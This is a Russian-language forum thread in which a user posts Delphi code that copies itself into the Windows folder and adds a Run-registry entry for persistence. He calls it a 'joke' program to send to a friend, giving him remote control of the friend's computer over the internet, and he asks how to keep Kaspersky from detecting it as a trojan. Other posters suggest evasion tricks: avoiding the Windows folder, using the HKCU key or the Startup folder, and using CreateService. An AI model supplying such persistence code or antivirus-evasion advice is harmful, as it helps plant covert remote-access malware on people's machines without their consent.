Что делать? Палит антивирус

[AngelOfDeath]

Народ что делать? Как модифицировать этот код

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, registry;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  H: TRegistry;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
H:=TRegistry.Create;
H.RootKey:=HKEY_LOCAL_MACHINE;

CopyFile(PChar(Application.ExeName),'C:\Windows\key.exe',  true);
H.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', false);
H.WriteString('Proga_Shutka','C:\Windows\key.exe');
H.CloseKey;
H.Free;
end;

end.

Чтоб антивирус не принимал его за троян?
Стоит KIS 7
Планировал сделать программу шутку
Но касперский визжать начал

[Трофимов Александр]

Для начала попробуй копировать файл не в директорию Windows. Каспер за ней наблюдает.

[Stilet]

В Каспере настрой отключения палева твоей проги.

[AngelOfDeath]

Для начала попробуй копировать файл не в директорию Windows. Каспер за ней наблюдает.

Где бы полуше запрятать мою прогу?))

В Каспере настрой отключения палева твоей проги.

Это же прога шутка я её отправлю другу
Она добавляется в автозапуск
И я могу делать ему перезагрузку и прочее через инет!

Ну немагу же я прийти к нему настроить антивирь уйти
И потом дать прогу

[Квэнди]

не в системную папку как минимум её надо класть

[AngelOfDeath]

Так с копированием разобрались
Что с регом делать?

[Stilet]

Да ничего, раз антивирь палит значит путевый антивирь )
А еще попробуй работать с HKU_CURRENT_USER

[AngelOfDeath]

Вот что самое обидное что что у всех друзей стоит такой-же антивирь значит прога у них не запуститься
Но всё таки есть способ обойти защиту?

[B_N]

Могу дать пару наводок
Во-первых каспер не сечёт каталог "%userprofile%\Start Menu\Programs\Startup\"
Во-вторых он очень вяло (если не сказать никак) реагирует на функцию CreateService

[AngelOfDeath]

Во-вторых он очень вяло (если не сказать никак) реагирует на функцию CreateService

Вот с этого момента поподробнее пожалуйста
Что это функция делает?
Куда её пихать?
И как использовать?